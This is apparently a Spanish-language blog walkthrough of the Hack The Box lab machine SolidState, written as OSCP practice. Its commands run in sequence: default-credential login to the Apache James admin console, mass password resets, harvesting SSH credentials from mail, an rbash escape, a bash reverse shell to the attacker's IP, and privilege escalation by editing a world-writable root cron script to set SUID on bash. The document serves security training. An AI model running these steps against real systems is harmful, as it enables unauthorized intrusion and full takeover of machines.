Avatar Blog Personal de K0Hack sobre Conceptos Hacking Etico // HTB // TryHackMe // Resumenes de Hacking // Herramientas para distintas tareas.

OSCP Path ~ SolidState de Hack The Box (Necesario VIP)

SolidState ~ Hack The Box to OSCP

Realizamos el Primer escaneo con Nmap

$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn -oG allports 10.10.10.51      "

Procedemos con el siguiente escaneo de Nmap

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  smtp        JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.16.218 [10.10.16.218]), 
80/tcp   open  http        Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
110/tcp  open  pop3        JAMES pop3d 2.3.2
119/tcp  open  nntp        JAMES nntpd (posting ok)
4555/tcp open  james-admin JAMES Remote Admin 2.3.2
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Chequeamos que es esto de JAMES Remote Admin 2.3.2 con searchsploit

# searchsploit James  2.3.2
--------------------------------------------------------------------------------------------------------------------------
 Exploit Title                                                                    |  Path
--------------------------------------------------------------------------------------------------------------------------
Apache James Server 2.3.2 - Insecure User Creation Arbitrary File Write (Metasploit)            | linux/remote/48130.rb
Apache James Server 2.3.2 - Remote Command Execution                                            | linux/remote/35513.py
--------------------------------------------------------------------------------------------------------------------------

Nos Descargamos el exploit en python, y vemos que las credenciales que usa por defecto son validas, probamos a conectarnos con telnet al servicio James Remote Admin 2.3.2

Probamos a conectarnos via telnet por el servicio JAMES Remote Admin 2.3.2
# telnet 10.10.10.51 4555                                                                                                                       1 ⚙
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
user rootJAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id: root
Password: root
Welcome root. HELP for a list of commands
listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin

Conseguimos entrar y listamos los usuarios que hay para el servicio, viendo los comando que podemos usar, vemos que existe el comando setpassword parasetear las contraseñas de los usuarios a la que nosotros queramos, lo hacemos.

 Unknown command set password
setpassword james james
Password for james reset
setpassword thomas thomas
Password for thomas reset
setpassword john john
Password for john reset
setpassword mindy mindy
Password for mindy reset
setpassword mailadmin mailadmin
Password for mailadmin reset

Como habiamos visto en el archivo el scaneo de nmap tambien teniamos el servicio de pop3 o correo_electronico Probamos a meternos con los distintos usuarios anteriores.

Para el user:
              user mindy
              pass mindy
---------------------------------------- 2 Mails ---------------------------
1
2
-----------------------------------------------------------------------------
retr 2 -→ encontramos credenciales en el mail.
-------------------- Credenciales obtenidas en el Mail 2 --------------------------
"Username: mindy          "
"pass: P@55W0rd1!2@       "

Con estas credenciales probamos a conectarnos al servicio SSH que se encontraba abierto.

# ssh mindy@10.10.10.51                                                                                                                  
mindy@solidstate:~$ ls
bin  user.txt
mindy@solidstate:~$ cat user.txt 
0510e71c2e8c9xxxxxxxxxxxxxxx0dc2

Intentando enumerar un poco el sistema vemos que no estamos en una bash, sino en un R-bash que solo nos permite usar unos trees comandos. Nos salimos de SSH y procedemos a realizar de nuevo la conexion de la siguiente forma para escaparnos del contexto de la r-bash

# ssh mindy@10.10.10.51 bash    

Una vez que nos hemos escapado del contexto de la r-bash procedemos a enviarnos un r-shell con el comando:

bash -i >& /dev/tcp/10.10.14.12/443 0>&1

Nos ponemos a la escucha con Netcat y nos montamos un server con python3 para pasar el archivo pspy32s a la ruta /tmp/

recibimos la conexion, y procedemos a pasarnos el archivo pspy32s
para ver si hay tareas cron ejecutandose a nivel de sistema"
2021/07/16 12:33:01 CMD: UID=0    PID=1483   | python /opt/tmp.py " 
2021/07/16 12:33:01 CMD: UID=0    PID=1484   | sh -c rm -r /tmp/* 

Nos detecta una tarea que esta ejecutando el administrador en la ruta /opt/tmp.py

${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls                                                                                                                     
james-2.3.2  tmp.py 

${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -l
total 8                                                                                                                                                                                                             
drwxr-xr-x 11 root root 4096 Apr 26 12:37 james-2.3.2                                                                                                                           
-rwxrwxrwx  1 root root  105 Aug 22  2017 tmp.py 

Como podemos escribir en la tarear modificamos la misma para que nos ejecute a nivel de sistema el comando que nosotros queramos

#!/usr/bin/env python

import os
import sys

try:
      os.system('chmod u+s /bin/bash')
except:
      sys.exit(1)

Procedemos a hacer un bash -p

${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ nano tmp.py 
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ watch -n 1 'ls -l /bin/bash'
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1265272 May 15  2017 /bin/bash
${debian_chroot:+($debian_chroot)}mindy@solidstate:/opt$ bash -p
bash-4.4# whoami 
root
4f4afb55463c3bc79axxxxxxxxx4953d

Maquina Rooteada =)